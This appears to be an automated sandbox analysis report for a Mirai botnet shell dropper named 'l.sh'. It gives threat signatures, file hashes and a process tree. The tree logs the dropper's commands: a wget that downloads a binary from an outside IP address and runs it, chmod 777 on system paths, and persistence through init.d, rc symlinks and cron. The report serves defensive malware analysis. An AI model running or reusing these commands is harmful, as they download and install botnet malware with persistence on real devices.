Overview

overview

10

Static

static

1

l.sh

ubuntu-18.04-amd64

10

l.sh

debian-9-armhf

10

l.sh

debian-9-mips

10

l.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/10/2026, 22:33

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    l.sh
  • Size 4KB
  • Sample261030-2glqfagy6m
  • SHA256 70acdfcafb548a2c85c3350398b0f6d629d9134b16f0b2df2e627a36f521f643
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
botnetmiraidefense_evasiondiscoveryexecutionmiraipersistenceprivilege_escalation

Malware Config

Extracted

Family

  • mirai

Botnet

  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/l.sh
    /tmp/l.sh
    1⤵
    • Executes dropped EXE
    • Creates/modifies Cron job
    • Modifies rc script
    PID:1526
    • /bin/uname
      uname -m
      2⤵
        PID:1527
      • /bin/rm
        rm -f .b
        2⤵
          PID:1528
        • /usr/bin/wget
          wget -qO .b http://77.239.124.141/b/x86
          2⤵
          • Writes file to tmp directory
          PID:1529
        • /bin/chmod
          chmod 777 .b
          2⤵
          • File and Directory Permissions Modification
          PID:1540
        • /tmp/.b
          ./.b
          2⤵
          • Deletes itself
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          • Writes file to shm directory
          PID:1541
        • /bin/cat
          cat
          2⤵
            PID:1542
          • /bin/chmod
            chmod 777 /var/.m
            2⤵
            • File and Directory Permissions Modification
            PID:1543
          • /bin/chmod
            chmod 777 /var
            2⤵
            • File and Directory Permissions Modification
            PID:1545
          • /bin/chmod
            chmod 777 /etc/rc.local
            2⤵
            • File and Directory Permissions Modification
            PID:1549
          • /bin/cp
            cp /var/.m /etc/init.d/bot
            2⤵
            • Modifies init.d
            PID:1550
          • /bin/chmod
            chmod 777 /etc/init.d/bot
            2⤵
            • File and Directory Permissions Modification
            PID:1551
          • /bin/ln
            ln -sf /etc/init.d/bot /etc/rc3.d/S99bot
            2⤵
              PID:1552
            • /bin/ln
              ln -sf /etc/init.d/bot /etc/rc5.d/S99bot
              2⤵
                PID:1553
              • /bin/grep
                grep -q /var/.m /var/spool/cron/root
                2⤵
                  PID:1554

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    .comm
                    • Path /dev/shm/.comm
                    • Size 2B
                    • SHA256 9a271f2a916b0b6ee6cecb2426f0b3206ef074578be55d9bc94f6f3fe3ab86aa
                    • MD5 SHA1 SHA512
                    Submit Download

                    .comm
                    • Path /dev/shm/.comm
                    • Size 7B
                    • SHA256 2d17b81be7e84ed09d9346ed324cb4e8c26f87f6457172ac23b556fc2b4c8789
                    • MD5 SHA1 SHA512
                    Submit Download

                    rc.local
                    • Path /etc/rc.local
                    • Size 36B
                    • SHA256 6a948b659c747bc2cb77b6808bf9fa5aeefb5fde19a2e58d26823bcde924f69e
                    • MD5 SHA1 SHA512
                    Submit Download

                    rc.local
                    • Path /etc/rc.local
                    • Size 10B
                    • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                    • MD5 SHA1 SHA512
                    Submit Download

                    .b
                    • Path /tmp/.b
                    • Size 84KB
                    • SHA256 76856cbd24ca1198dcdabd1ff445f89084796d3945e47f56c16454ca9e74cd29
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    .bpid
                    • Path /var/.bpid
                    • Size 5B
                    • SHA256 05d60a18392d36b94c8db283927bf10bb1e0d1bf64562652657843e356d0d7fb
                    • MD5 SHA1 SHA512
                    Submit Download

                    .m
                    • Path /var/.m
                    • Size 334B
                    • SHA256 d9688470ee4aef3d14f0962df3ef76df2b3243441fea6e2802227ed46f4e2bb8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    root
                    • Path /var/spool/cron/root
                    • Size 37B
                    • SHA256 1b3fe417903fe231cb53c927797d6a192a54d98b541b819cb06df8f702dc5c27
                    • MD5 SHA1 SHA512
                    Submit Download